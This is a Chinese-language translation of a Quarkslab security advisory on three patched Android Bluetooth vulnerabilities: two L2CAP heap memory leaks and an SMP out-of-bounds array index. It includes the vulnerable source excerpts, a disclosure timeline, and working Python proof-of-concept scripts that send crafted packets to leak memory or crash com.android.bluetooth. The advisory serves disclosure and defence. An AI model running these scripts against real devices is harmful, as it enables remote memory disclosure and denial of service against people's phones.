写在前面的话

2018年3月，Quarkslab向Google报告了Android蓝牙协议栈中的一些漏洞：

问题编号74882215：蓝牙L2CAP L2CAP_CMD_CONN_REQ远程内存泄露

问题编号74889513：蓝牙L2CAP L2CAP_CMD_DISC_REQ远程内存泄露

问题编号74917004：蓝牙SMP smp_sm_event（）OOB阵列索引

漏洞1：蓝牙L2CAP L2CAP_CMD_CONN_REQ远程内存泄露

简要

通过向目标设备发送特制的L2CAP数据包，蓝牙范围内的远程攻击者可利用Android蓝牙协议栈中的漏洞披露属于com.android.bluetooth守护程序堆的2个字节。

漏洞详细信息

L2CAP是蓝牙协议栈中的协议， L2CAP的功能包括为更高层协议传输数据，包括通过单个链路复用多个应用程序。L2CAP是基于通道进行的，并且控制命令在预定义的L2CAP_SIGNALLING_CID (0x01)通道上被发送。L2CAP传入数据由l2c_rcv_acl_data()函数[platform/system/bt/stack/ L2CAP /l2c_main.cc]处理。如果传入的L2CAP数据包指定L2CAP_SIGNALLING_CID作为其目标通道，则l2c_rcv_acl_data()调用process_l2cap_cmd（）函数来处理L2CAP控制命令。L2CAP_CMD_CONN_REQ控制命令在process_l2cap_cmd（）函数中以以下这种方式处理：

case L2CAP_CMD_CONN_REQ:
  STREAM_TO_UINT16(con_info.psm, p);
  STREAM_TO_UINT16(rcid, p);
  p_rcb = l2cu_find_rcb_by_psm(con_info.psm);
  if (p_rcb == NULL) {
    L2CAP_TRACE_WARNING("L2CAP - rcvd conn req for unknown PSM: %d",
                        con_info.psm);
    l2cu_reject_connection(p_lcb, rcid, id, L2CAP_CONN_NO_PSM);
    break;
  } else {
  [...]

上面的代码使用STREAM_TO_UINT16宏[platform/system/bt/stack/include/bt_types.h]从L2CAP数据包中读取2个uint16_t值(con_info.psm 和rcid)：

#define STREAM_TO_UINT16(u16, p)                                                                      \
  {                                                                                                                                       \
    (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8));        \
    (p) += 2;                                                                                                                     \
  }

该漏洞在于使用STREAM_TO_UINT16宏而不检查攻击者控制的数据包中是否还有足够的数据;如果第二次使用STREAM_TO_UINT16时数据包中没有剩余字节，则从带外数据（out-of-bound）读取rcid，更精确的从堆上与包数据相邻的任何数据中读取rcid。之后，如果l2cu_find_rcb_by_psm()返回NULL并因此到达if分支，则对l2cu_reject_connection() [stack/l2cap/l2c_utils.cc]的调用会将rcid发送到远程对等体（the remote peer），这样堆中就会有2个字节泄露出来：

void l2cu_reject_connection(tL2C_LCB* p_lcb, uint16_t remote_cid,
                            uint8_t rem_id, uint16_t result) {
  [...]
  UINT16_TO_STREAM(p, 0); /* Local CID of 0   */
  UINT16_TO_STREAM(p, remote_cid);
  UINT16_TO_STREAM(p, result);
  UINT16_TO_STREAM(p, 0); /* Status of 0      */
  l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
}

这里请注意，l2cu_find_rcb_by_psm()可以完全受到攻击者的影响，通过精心设计的L2CAP数据包中提供未注册的协议或服务多路复用器（PSM）ID字段，会始终返回NULL（即始终返回到if分支）。另外，请注意，使用STREAM_TO_UINT16宏而不检查攻击控制的包中是否还有足够的数据，这种不安全的模式在process_l2cap_cmd()函数中随处可见。

Poc

下面的Python代码触发了漏洞并输出从目标蓝牙设备的com.android.bluetooth守护进程堆中泄漏的16位值。这个Python代码使用Blueborne框架中的l2cap_infra包。用法：$ sudo python l2cap01.py <src-hci> <target-bdaddr>样本：$ sudo python l2cap01.py hci0 00:11:22:33:44:55

import os
import sys
from l2cap_infra import *
L2CAP_SIGNALLING_CID = 0x01
L2CAP_CMD_CONN_REQ = 0x02
def main(src_hci, dst_bdaddr):
    l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
    # This will leak 2 bytes from the heap
    print "Sending L2CAP_CMD_CONN_REQ in L2CAP connection..."
    cmd_code = L2CAP_CMD_CONN_REQ
    cmd_id = 0x41               # not important
    cmd_len = 0x00              # bypasses this check at lines 296/297 of l2c_main.cc:   p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {
    non_existent_psm = 0x3333   # Non-existent Protocol/Service Multiplexer id, so l2cu_find_rcb_by_psm() returns NULL and l2cu_reject_connection() is called
    # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():
    # 170    /* Send the data through the channel state machine */
    # 171    if (rcv_cid == L2CAP_SIGNALLING_CID) {
    # 172      process_l2cap_cmd(p_lcb, p, l2cap_len);
    l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBHH', cmd_code, cmd_id, cmd_len, non_existent_psm)))
    l2cap_loop.on(lambda pkt: True,
                  lambda loop, pkt: pkt)
    # And printing the returned data.
    pkt = l2cap_loop.cont()[0]
    print "Response: %s\n" % repr(pkt)
    # print "Packet layers: %s" % pkt.summary()
    # The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_ConnResp
    # The response contains 1 leaked word in the 'scid' field of the L2CAP_ConnResp layer
    print "Leaked word: 0x%04x" % pkt[2].scid
    l2cap_loop.finish()
if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: l2cap01.py <src-hci> <dst-bdaddr>")
    else:
        if os.getuid():
            print "Error: This script must be run as root."
        else:
            main(*sys.argv[1:])

漏洞＃2：蓝牙L2CAP L2CAP_CMD_DISC_REQ远程内存泄露

简要

蓝牙范围内的远程攻击者可以使用Android蓝牙协议栈(Bluetooth stack)中的漏洞通过向目标设备发送自定义的L2CAP数据包来自属于com.android.bluetooth守护进程堆的4个字节。

漏洞详细信息

L2CAP_CMD_DISC_REQ控制命令在process_l2cap_cmd()函数中以下方式处理：

case L2CAP_CMD_DISC_REQ:
  STREAM_TO_UINT16(lcid, p);
  STREAM_TO_UINT16(rcid, p);
  p_ccb = l2cu_find_ccb_by_cid(p_lcb, lcid);
  if (p_ccb != NULL) {
    if (p_ccb->remote_cid == rcid) {
      p_ccb->remote_id = id;
      l2c_csm_execute(p_ccb, L2CEVT_L2CAP_DISCONNECT_REQ, &con_info);
    }
  } else
    l2cu_send_peer_disc_rsp(p_lcb, id, lcid, rcid);

上面的代码使用STREAM_TO_UINT16 macro [platform/system/bt/stack/include/bt_types.h]从L2CAP数据包中读取2个uint16_t值（lcid和rcid）：

#define STREAM_TO_UINT16(u16, p)                                                                        \
  {                                                                                                                                         \
    (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8));         \
    (p) += 2;                                                                                                                      \
  }

该漏洞存在于STREAM_TO_UINT16宏被使用两次后，而不检查攻击者控制的数据包中是否还有至少4个字节;如果数据包中没有剩余字节，那么从将从带外数据读取lcid和rcid，更准确的说是从与堆上的数据包数据相邻的任何数据中读取。之后，如果l2cu_find_ccb_by_cid()返回NULL并因此到达else分支，则对l2cu_send_peer_disc_rsp()[platform / system / bt / stack / l2cap / l2c_utils.cc]调用会将lcid和rcid发送到远程对等体，这样堆中的4个字节就会被泄漏。

void l2cu_send_peer_disc_rsp(tL2C_LCB* p_lcb, uint8_t remote_id,
                             uint16_t local_cid, uint16_t remote_cid) {
[...]
  UINT16_TO_STREAM(p, local_cid);
  UINT16_TO_STREAM(p, remote_cid);
  l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
}

请注意，l2cu_find_ccb_by_cid()可以完全受到攻击者的影响返回NULL（即始终返回到else分支），因为该函数将始终返回NULL，除非在目标设备和攻击者的蓝牙设备之间设置一个活动通道控制块(CCB)，并设置假的lcid。

Poc

以下Python代码会触发漏洞并输出从目标蓝牙设备的com.android.bluetooth守护进程堆中泄漏的两个16位值。这个Python代码使用来自Blueborne框架中的l2cap_infra包。用法：sudo python l2cap02.py <src-hci> <target-bdaddr>样本：$ sudo python l2cap02.py hci0 00:11:22:33:44:55

import os
import sys
from l2cap_infra import *
L2CAP_SIGNALLING_CID = 0x01
L2CAP_CMD_DISC_REQ = 0x06
def main(src_hci, dst_bdaddr):
    l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
    # This will leak 4 bytes from the heap
    print "Sending L2CAP_CMD_DISC_REQ command in L2CAP connection..."
    cmd_code = L2CAP_CMD_DISC_REQ
    cmd_id = 0x41               # not important
    cmd_len = 0x00              # bypasses this check at lines 296/297 of l2c_main.cc:   p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {
    # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():
    # 170    /* Send the data through the channel state machine */
    # 171    if (rcv_cid == L2CAP_SIGNALLING_CID) {
    # 172      process_l2cap_cmd(p_lcb, p, l2cap_len);
    l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBH', cmd_code, cmd_id, cmd_len)))
    l2cap_loop.on(lambda pkt: True,
                  lambda loop, pkt: pkt)
    # And printing the returned data.
    pkt = l2cap_loop.cont()[0]
    print "Response: %s\n" % repr(pkt)
    # print "Packet layers: %s" % pkt.summary()
    # The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_DisconnResp
    # The response contains 2 leaked words in the 'dcid' and 'scid' fields of the L2CAP_DisconnResp layer
    print "Leaked words: 0x%04x 0x%04x" % (pkt[2].dcid, pkt[2].scid)
    l2cap_loop.finish()
if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: l2cap02.py <src-hci> <dst-bdaddr>")
    else:
        if os.getuid():
            print "Error: This script must be run as root."
        else:
            main(*sys.argv[1:])

漏洞＃3：蓝牙SMP smp_sm_event() OOB数组索引

简要

蓝牙范围内的远程攻击者可以使用Android蓝牙协议栈(Bluetooth stack)中的漏洞，使com.android.bluetooth守护进程访问之外的数组，方法就是通过将意外传输发送包里所含的SMP_OPCODE_PAIRING_REQ命令的SMP数据包发送到目标设备。

漏洞详细信息

安全管理器协议(SMP)为运行在蓝牙低能耗堆栈上的应用程序提供服务访问，如设备身份验证、设备授权和数据隐私访问，以及对运行在蓝牙低能耗堆栈上的应用程序的访问。SMP协议位于L2CAP之上，位于预定义的L2CAP_SMP_CID (0x06)通道之上。传入的SMP数据包由smp_data_received()函数[platform/system/bt/stack/smp/smp_l2c.cc]处理。如果通过L2CAP_SMP_CID固定通道接收到一个SMP数据包，其中包含SMP_OPCODE_PAIRING_REQ (0x01)命令，则会出现以下代码:

static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,
                              BT_HDR* p_buf) {
  [...]
  /* reject the pairing request if there is an on-going SMP pairing */
  if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {
    if ((p_cb->state == SMP_STATE_IDLE) &&
        (p_cb->br_state == SMP_BR_STATE_IDLE) &&
        !(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {
      p_cb->role = L2CA_GetBleConnRole(bd_addr);
  [...]

如上面的代码所示，p_cb-> role设置为L2CA_GetBleConnRole（bd_addr）返回的值。 p_cb-> role应该包含其中一个值[platform / system / bt / stack / include / hcidefs.h]：

/* HCI role defenitions */
#define HCI_ROLE_MASTER 0x00
#define HCI_ROLE_SLAVE 0x01
#define HCI_ROLE_UNKNOWN 0xff

如果分析人员查看L2CA_GetBleConnRole()函数中[platform/system/bt/stack/l2cap/l2c_ble.cc]的代码，就可以发现它调用l2cu_find_lcb_by_bd_addr（）来查找一个匹配远程BDADDR并使用低能耗传输（BT_TRANSPORT_LE）的活动链接控制块（LCB）结构;如果找不到它，则返回HCI_ROLE_UNKNOWN（0xff）。当分析人员通过在BR/EDR（基本速率/增强数据速率，也称为“classic”蓝牙）传输上发送包含SMP_OPCODE_PAIRING_REQ命令的SMP数据包来命令此代码时就是如下这种情况，它应该只用于低能耗（LE）传输：

uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {
  uint8_t role = HCI_ROLE_UNKNOWN;
  tL2C_LCB* p_lcb;
  p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);
  if (p_lcb != NULL) role = p_lcb->link_role;
  return role;
}

所以，返回smp_data_received()函数，在将p_cb-> role设置为HCI_ROLE_UNKNOWN（0xff）之后，它调用smp_sm_event()[platform/system/bt/stack/smp/smp_main.cc]，得到以下代码。

953  void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event, tSMP_INT_DATA* p_data) {
...
957    tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];
...
970    /* look up the state table for the current state */
971    /* lookup entry /w event & curr_state */
972    /* If entry is ignore, return.
973     * Otherwise, get state table (according to curr_state or all_state) */
974    if ((event <= SMP_MAX_EVT) &&
975        ((entry = entry_table[event - 1][curr_state]) != SMP_SM_IGNORE)) {

在第957行，代码使用p_cb-> role作为索引从smp_entry_table静态数组中读取，而不检查p_cb-> role是否具有两个有效值中的一个，即HCI_ROLE_MASTER（0x00）或HCI_ROLE_SLAVE（0x01）。这就是漏洞：smp_entry_table静态数组只包含2个元素，而p_cb-> role的值为0xFF，在接收到包含SMP_OPCODE_PAIRING_REQ命令的SMP包后，在BR/EDR传输上，而不是在预期的低能耗传输之上。

static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map,
                                                 smp_slave_entry_map};

因此，作为执行entry_table = smp_entry_table[0xff]时的OOB索引的结果，entry_table局部变量将包含一些垃圾值（位于bluetooth.default.so二进制文件的数据部分中的smp_entry_table全局变量之后的任何值）。因此，稍后在第975行，当取消对entry_table [event – 1] [curr_state]的引用时，它很可能会导致分段错误（受bluetooth.default.so二进制文件的特定版本的影响，其中包含smp_entry_table全局变量），这将使com.android.bluetooth守护进程停止工作。

Poc

用法：$ sudo python smp01.py <src-hci> <target-bdaddr>样本：$ sudo python smp01.py hci0 00:11:22:33:44:55

import os
import sys
from l2cap_infra import *
L2CAP_SMP_CID = 0x06
# This matches the CID used in l2cap_infra to establish a successful connection.
OUR_LOCAL_SCID = 0x40
SMP_OPCODE_PAIRING_REQ = 0x01
def main(src_hci, dst_bdaddr):
    l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
    print "Sending SMP_OPCODE_PAIRING_REQ in L2CAP connection..."
    cmd_code = SMP_OPCODE_PAIRING_REQ
    the_id = 0x41       # not important
    cmd_len = 0x08
    flags = 0x4142      # not important
    # here we use L2CAP_SMP_CID as cid
    l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SMP_CID) / Raw(struct.pack('<BBHHH', cmd_code, the_id, cmd_len, OUR_LOCAL_SCID, flags)))
    l2cap_loop.finish()
    print "The com.android.bluetooth daemon should have crashed."
if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: smp01.py <src-hci> <dst-bdaddr>")
    else:
        if os.getuid():
            print "Error: This script must be run as root."
        else:
            main(*sys.argv[1:])

时间线

2018年3月15日：Quarkslab向Google报告了影响Android蓝牙堆栈的三个漏洞。错误被添加到ID“74882215,74889513和74917004”下的“Android外部安全报告”问题跟踪器中。

2018年3月16日：一个温和的机器人承认所有三个安全报告。

2018年3月26日：Android安全团队关闭问题74882215作为问题74135099的副本，声明该错误已在2018年3月4日由另一位外部研究人员报告过。

2018年5月10日：Quarkslab回到剩下的问题74889513和74917004，提醒谷歌自初始报告以来差不多两个月没有得到Android团队的任何回应，并询问是否有人能够评估错误。

2018年6月4日：2018年6月Android安全公告发布，修复了问题74882215和74889513。

2018年7月2日：2018年7月Android安全公告发布，修复问题74917004。

2018年7月25日：此博客文章发布。

写在最后的话

Quarkslab的分析人员已经向Google报告了三个影响Android蓝牙协议栈(Bluetooth stack)的漏洞。其中两个影响到了处理L2CAP协议的代码，它们允许远程攻击者（在蓝牙范围内）公开属于com.android.bluetooth进程的内存内容。这些内存泄露漏洞可能对攻击者在攻击过程的早期阶段有所帮助，甚至可能用于检索敏感数据。第三个漏洞是SMP协议实现中的带外数组索引错误，虽然很可能会导致com.android.bluetooth进程崩溃，但攻击者可能利用它来远程执行Android设备上的远程代码。有趣的是，与前两个L2CAP问题不同，此SMP错误不是解析格式错误的数据包的结果;实际上，它可以通过发送包含SMP_OPCODE_PAIRING_REQ的良好格式的SMP数据包来触发，但是是通过BR/EDR传输而不是预期的BLE传输。

*参考来源：quarkslab，周大涛编译，转载请注明来自FreeBuf.COM